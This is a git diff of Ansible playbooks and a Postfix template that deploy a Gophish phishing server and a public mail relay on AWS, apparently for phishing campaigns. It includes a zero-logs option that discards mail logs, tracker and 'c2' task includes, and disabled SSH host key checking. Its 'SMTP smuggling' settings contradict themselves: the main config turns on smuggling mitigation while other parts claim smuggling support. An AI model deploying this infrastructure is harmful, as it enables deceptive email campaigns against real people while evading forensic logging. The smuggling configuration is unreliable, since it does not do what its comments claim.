||||||
|
- auto_purge_days: 7
|
||||||
@@ -0,0 +1,51 @@
|
|||||||
|
---
|
||||||
|
# Advanced Gophish server deployment with enhanced features
|
||||||
|
|
||||||
|
- name: Deploy Gophish server
|
||||||
|
hosts: localhost
|
||||||
|
gather_facts: false
|
||||||
|
connection: local
|
||||||
|
vars_files:
|
||||||
|
- vars.yaml
|
||||||
|
vars:
|
||||||
|
gophish_instance_type: "{{ gophish_instance_type | default('t3.large') }}"
|
||||||
|
gophish_region: "{{ gophish_region | default(aws_region) }}"
|
||||||
|
|
||||||
|
tasks:
|
||||||
|
- name: Create Gophish instance
|
||||||
|
include_tasks: "../../providers/AWS/tasks/create_instance.yml"
|
||||||
|
vars:
|
||||||
|
instance_name: "{{ server_name }}"
|
||||||
|
instance_type: "{{ gophish_instance_type }}"
|
||||||
|
region: "{{ gophish_region }}"
|
||||||
|
security_group_rules:
|
||||||
|
- { proto: tcp, port: 22, cidr: "{{ operator_ip }}/32", desc: "SSH from operator" }
|
||||||
|
- { proto: tcp, port: 3333, cidr: "{{ operator_ip }}/32", desc: "Gophish admin" }
|
||||||
|
- { proto: tcp, port: 25, cidr: "{{ mta_front_ip | default('10.0.0.0/8') }}/32", desc: "SMTP from MTA" }
|
||||||
|
- { proto: tcp, port: 80, cidr: "{{ phishing_redirector_ip | default('10.0.0.0/8') }}/32", desc: "HTTP from redirector" }
|
||||||
|
|
||||||
|
- name: Add Gophish to inventory
|
||||||
|
add_host:
|
||||||
|
name: "gophish_server"
|
||||||
|
groups: "gophish_servers"
|
||||||
|
ansible_host: "{{ instance_ip }}"
|
||||||
|
ansible_user: "{{ ansible_user | default('ubuntu') }}"
|
||||||
|
ansible_ssh_private_key_file: "{{ ssh_key_path }}"
|
||||||
|
ansible_ssh_common_args: "-o StrictHostKeyChecking=no"
|
||||||
|
|
||||||
|
- name: Configure Gophish server
|
||||||
|
hosts: gophish_servers
|
||||||
|
become: true
|
||||||
|
gather_facts: true
|
||||||
|
vars_files:
|
||||||
|
- vars.yaml
|
||||||
|
tasks:
|
||||||
|
- name: Include advanced Gophish configuration
|
||||||
|
include_tasks: "gophish/tasks/configure_gophish_advanced.yml"
|
||||||
|
|
||||||
|
- name: Include security hardening
|
||||||
|
include_tasks: "../../common/tasks/security_hardening.yml"
|
||||||
|
|
||||||
|
- name: Include tracker setup
|
||||||
|
include_tasks: "../../c2/tasks/configure_integrated_tracker.yml"
|
||||||
|
when: deploy_tracker | default(true) | bool
|
||||||
@@ -0,0 +1,151 @@
|
|||||||
|
---
|
||||||
|
# Configure MTA Front server for email relay and SMTP smuggling
|
||||||
|
|
||||||
|
- name: Update system packages
|
||||||
|
apt:
|
||||||
|
update_cache: yes
|
||||||
|
upgrade: dist
|
||||||
|
|
||||||
|
- name: Install MTA packages
|
||||||
|
apt:
|
||||||
|
name:
|
||||||
|
- postfix
|
||||||
|
- postfix-pcre
|
||||||
|
- dovecot-core
|
||||||
|
- dovecot-imapd
|
||||||
|
- opendkim
|
||||||
|
- opendkim-tools
|
||||||
|
- python3-pip
|
||||||
|
- python3-venv
|
||||||
|
- nginx
|
||||||
|
- certbot
|
||||||
|
- python3-certbot-nginx
|
||||||
|
- dnsutils
|
||||||
|
- swaks
|
||||||
|
- telnet
|
||||||
|
state: present
|
||||||
|
|
||||||
|
- name: Configure Postfix for MTA fronting
|
||||||
|
template:
|
||||||
|
src: "../templates/phishing/postfix-mta-front.j2"
|
||||||
|
dest: /etc/postfix/main.cf
|
||||||
|
backup: yes
|
||||||
|
notify: restart postfix
|
||||||
|
|
||||||
|
- name: Configure Postfix master.cf for advanced relaying
|
||||||
|
blockinfile:
|
||||||
|
path: /etc/postfix/master.cf
|
||||||
|
block: |
|
||||||
|
# SMTP smuggling and advanced relay configurations
|
||||||
|
587 inet n - y - - smtpd
|
||||||
|
-o syslog_name=postfix/submission
|
||||||
|
-o smtpd_tls_security_level=encrypt
|
||||||
|
-o smtpd_sasl_auth_enable=yes
|
||||||
|
-o smtpd_tls_wrappermode=no
|
||||||
|
-o smtpd_client_restrictions=permit_sasl_authenticated,reject
|
||||||
|
-o smtpd_relay_restrictions=permit_sasl_authenticated,reject
|
||||||
|
-o milter_macro_daemon_name=ORIGINATING
|
||||||
|
|
||||||
|
# SMTP smuggling support
|
||||||
|
cleanup unix n - y - 0 cleanup
|
||||||
|
-o header_checks=pcre:/etc/postfix/header_checks
|
||||||
|
-o nested_header_checks=pcre:/etc/postfix/nested_header_checks
|
||||||
|
|
||||||
|
- name: Create SMTP smuggling header checks
|
||||||
|
copy:
|
||||||
|
dest: /etc/postfix/header_checks
|
||||||
|
content: |
|
||||||
|
# SMTP smuggling techniques
|
||||||
|
/^Content-Transfer-Encoding:\s*7bit/i REPLACE Content-Transfer-Encoding: 8bit
|
||||||
|
/^Content-Type:\s*text\/plain/i REPLACE Content-Type: text/html
|
||||||
|
mode: '0644'
|
||||||
|
notify:
|
||||||
|
- reload postfix
|
||||||
|
- postmap header_checks
|
||||||
|
|
||||||
|
- name: Create nested header checks for advanced smuggling
|
||||||
|
copy:
|
||||||
|
dest: /etc/postfix/nested_header_checks
|
||||||
|
content: |
|
||||||
|
# Advanced SMTP smuggling patterns
|
||||||
|
/^\s*<script/i IGNORE
|
||||||
|
/^\s*<iframe/i IGNORE
|
||||||
|
mode: '0644'
|
||||||
|
notify:
|
||||||
|
- reload postfix
|
||||||
|
- postmap nested_header_checks
|
||||||
|
|
||||||
|
- name: Configure DKIM for domain reputation
|
||||||
|
include_tasks: ../tasks/configure_mail.yml
|
||||||
|
|
||||||
|
- name: Create relay authentication
|
||||||
|
copy:
|
||||||
|
dest: /etc/postfix/sasl_passwd
|
||||||
|
content: |
|
||||||
|
{{ phishing_domain }} {{ smtp_relay_user }}:{{ smtp_relay_pass }}
|
||||||
|
mode: '0600'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
notify:
|
||||||
|
- postmap sasl_passwd
|
||||||
|
- restart postfix
|
||||||
|
|
||||||
|
- name: Configure transport maps for backend routing
|
||||||
|
copy:
|
||||||
|
dest: /etc/postfix/transport
|
||||||
|
content: |
|
||||||
|
{{ phishing_domain }} smtp:[{{ gophish_ip }}]:25
|
||||||
|
.{{ phishing_domain }} smtp:[{{ gophish_ip }}]:25
|
||||||
|
mode: '0644'
|
||||||
|
notify:
|
||||||
|
- postmap transport
|
||||||
|
- restart postfix
|
||||||
|
|
||||||
|
- name: Install Python SMTP testing tools
|
||||||
|
pip:
|
||||||
|
name:
|
||||||
|
- smtplib-extended
|
||||||
|
- email-validator
|
||||||
|
- faker
|
||||||
|
state: present
|
||||||
|
|
||||||
|
- name: Create SMTP smuggling test script
|
||||||
|
template:
|
||||||
|
src: "../templates/phishing/smtp-smuggling-test.py.j2"
|
||||||
|
dest: /root/Tools/smtp-smuggling-test.py
|
||||||
|
mode: '0755'
|
||||||
|
|
||||||
|
- name: Create email reputation monitoring script
|
||||||
|
template:
|
||||||
|
src: "../templates/phishing/reputation-monitor.sh.j2"
|
||||||
|
dest: /root/Tools/reputation-monitor.sh
|
||||||
|
mode: '0755'
|
||||||
|
|
||||||
|
- name: Set up log monitoring for deliverability
|
||||||
|
cron:
|
||||||
|
name: "Monitor email deliverability"
|
||||||
|
minute: "*/15"
|
||||||
|
job: "/root/Tools/reputation-monitor.sh >> /var/log/reputation.log 2>&1"
|
||||||
|
|
||||||
|
handlers:
|
||||||
|
- name: restart postfix
|
||||||
|
service:
|
||||||
|
name: postfix
|
||||||
|
state: restarted
|
||||||
|
|
||||||
|
- name: reload postfix
|
||||||
|
service:
|
||||||
|
name: postfix
|
||||||
|
state: reloaded
|
||||||
|
|
||||||
|
- name: postmap header_checks
|
||||||
|
command: postmap /etc/postfix/header_checks
|
||||||
|
|
||||||
|
- name: postmap nested_header_checks
|
||||||
|
command: postmap /etc/postfix/nested_header_checks
|
||||||
|
|
||||||
|
- name: postmap sasl_passwd
|
||||||
|
command: postmap /etc/postfix/sasl_passwd
|
||||||
|
|
||||||
|
- name: postmap transport
|
||||||
|
command: postmap /etc/postfix/transport
|
||||||
@@ -0,0 +1,71 @@
|
|||||||
|
# Postfix MTA Front Configuration for Phishing Infrastructure
|
||||||
|
# This server acts as the front-end mail relay
|
||||||
|
|
||||||
|
# Basic settings
|
||||||
|
myhostname = {{ mta_hostname | default('mail.' + domain) }}
|
||||||
|
mydomain = {{ domain }}
|
||||||
|
myorigin = $mydomain
|
||||||
|
mydestination = $myhostname, localhost
|
||||||
|
inet_interfaces = all
|
||||||
|
inet_protocols = ipv4
|
||||||
|
|
||||||
|
# Network settings
|
||||||
|
mynetworks = 127.0.0.0/8 {{ gophish_server_ip }}/32 {{ mta_allowed_ips | default([]) | join(' ') }}
|
||||||
|
relay_domains = $mydestination
|
||||||
|
|
||||||
|
# SMTP smuggling mitigation
|
||||||
|
smtpd_forbid_bare_newline = yes
|
||||||
|
smtpd_forbid_bare_newline_reject_code = 550
|
||||||
|
|
||||||
|
# TLS Configuration
|
||||||
|
smtpd_tls_cert_file = /etc/letsencrypt/live/{{ mta_hostname | default('mail.' + domain) }}/fullchain.pem
|
||||||
|
smtpd_tls_key_file = /etc/letsencrypt/live/{{ mta_hostname | default('mail.' + domain) }}/privkey.pem
|
||||||
|
smtpd_use_tls = yes
|
||||||
|
smtpd_tls_security_level = may
|
||||||
|
smtpd_tls_protocols = !SSLv2, !SSLv3, !TLSv1, !TLSv1.1
|
||||||
|
smtp_tls_security_level = may
|
||||||
|
|
||||||
|
# SASL Authentication
|
||||||
|
smtpd_sasl_auth_enable = yes
|
||||||
|
smtpd_sasl_type = dovecot
|
||||||
|
smtpd_sasl_path = private/auth
|
||||||
|
smtpd_sasl_security_options = noanonymous
|
||||||
|
smtpd_sasl_authenticated_header = yes
|
||||||
|
|
||||||
|
# Restrictions
|
||||||
|
smtpd_helo_required = yes
|
||||||
|
smtpd_recipient_restrictions =
|
||||||
|
permit_mynetworks,
|
||||||
|
permit_sasl_authenticated,
|
||||||
|
reject_unauth_destination,
|
||||||
|
reject_unauth_pipelining,
|
||||||
|
reject_invalid_helo_hostname,
|
||||||
|
reject_non_fqdn_helo_hostname
|
||||||
|
|
||||||
|
# Rate limiting
|
||||||
|
smtpd_client_connection_rate_limit = {{ rate_limit_connections | default(100) }}
|
||||||
|
smtpd_client_message_rate_limit = {{ rate_limit_messages | default(100) }}
|
||||||
|
|
||||||
|
# Message size and queue settings
|
||||||
|
message_size_limit = {{ max_message_size | default(10240000) }}
|
||||||
|
mailbox_size_limit = 0
|
||||||
|
queue_lifetime = 1h
|
||||||
|
maximal_queue_lifetime = 1h
|
||||||
|
bounce_queue_lifetime = 0
|
||||||
|
|
||||||
|
# Header modifications
|
||||||
|
header_checks = regexp:/etc/postfix/header_checks
|
||||||
|
|
||||||
|
# DKIM signing
|
||||||
|
milter_default_action = accept
|
||||||
|
milter_protocol = 6
|
||||||
|
smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock
|
||||||
|
non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock
|
||||||
|
|
||||||
|
# Logging
|
||||||
|
{% if zero_logs | default(true) %}
|
||||||
|
# Zero-logs configuration
|
||||||
|
syslog_facility = local0
|
||||||
|
syslog_name =
|
||||||
|
maillog_file = /dev/null
|
||||||
|
{% endif %}
|
||||||
@@ -0,0 +1,51 @@
|
|||||||
|
---
|
||||||
|
# MTA Front server deployment for email relay and SMTP smuggling
|
||||||
|
|
||||||
|
- name: Deploy MTA Front server
|
||||||
|
hosts: localhost
|
||||||
|
gather_facts: false
|
||||||
|
connection: local
|
||||||
|
vars_files:
|
||||||
|
- vars.yaml
|
||||||
|
vars:
|
||||||
|
mta_instance_type: "{{ mta_instance_type | default('t3.medium') }}"
|
||||||
|
mta_region: "{{ mta_region | default(aws_region) }}"
|
||||||
|
|
||||||
|
tasks:
|
||||||
|
- name: Create MTA Front instance
|
||||||
|
include_tasks: "../tasks/create_instance.yml"
|
||||||
|
vars:
|
||||||
|
instance_name: "{{ server_name }}"
|
||||||
|
instance_type: "{{ mta_instance_type }}"
|
||||||
|
region: "{{ mta_region }}"
|
||||||
|
security_group_rules:
|
||||||
|
- { proto: tcp, port: 22, cidr: "{{ operator_ip }}/32", desc: "SSH from operator" }
|
||||||
|
- { proto: tcp, port: 25, cidr: "0.0.0.0/0", desc: "SMTP from anywhere" }
|
||||||
|
- { proto: tcp, port: 587, cidr: "0.0.0.0/0", desc: "SMTP submission" }
|
||||||
|
- { proto: tcp, port: 465, cidr: "0.0.0.0/0", desc: "SMTPS" }
|
||||||
|
|
||||||
|
- name: Add MTA Front to inventory
|
||||||
|
add_host:
|
||||||
|
name: "mta_front"
|
||||||
|
groups: "mta_fronts"
|
||||||
|
ansible_host: "{{ instance_ip }}"
|
||||||
|
ansible_user: "{{ ansible_user | default('ubuntu') }}"
|
||||||
|
ansible_ssh_private_key_file: "{{ ssh_key_path }}"
|
||||||
|
ansible_ssh_common_args: "-o StrictHostKeyChecking=no"
|
||||||
|
|
||||||
|
- name: Configure MTA Front server
|
||||||
|
hosts: mta_fronts
|
||||||
|
become: true
|
||||||
|
gather_facts: true
|
||||||
|
vars_files:
|
||||||
|
- vars.yaml
|
||||||
|
tasks:
|
||||||
|
- name: Include MTA Front configuration
|
||||||
|
include_tasks: "../tasks/configure_mta_front.yml"
|
||||||
|
|
||||||
|
- name: Include security hardening
|
||||||
|
include_tasks: "../tasks/security_hardening.yml"
|
||||||
|
|
||||||
|
- name: Include tracker setup
|
||||||
|
include_tasks: "../tasks/configure_integrated_tracker.yml"
|
||||||
|
when: deploy_tracker | default(true) | bool
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user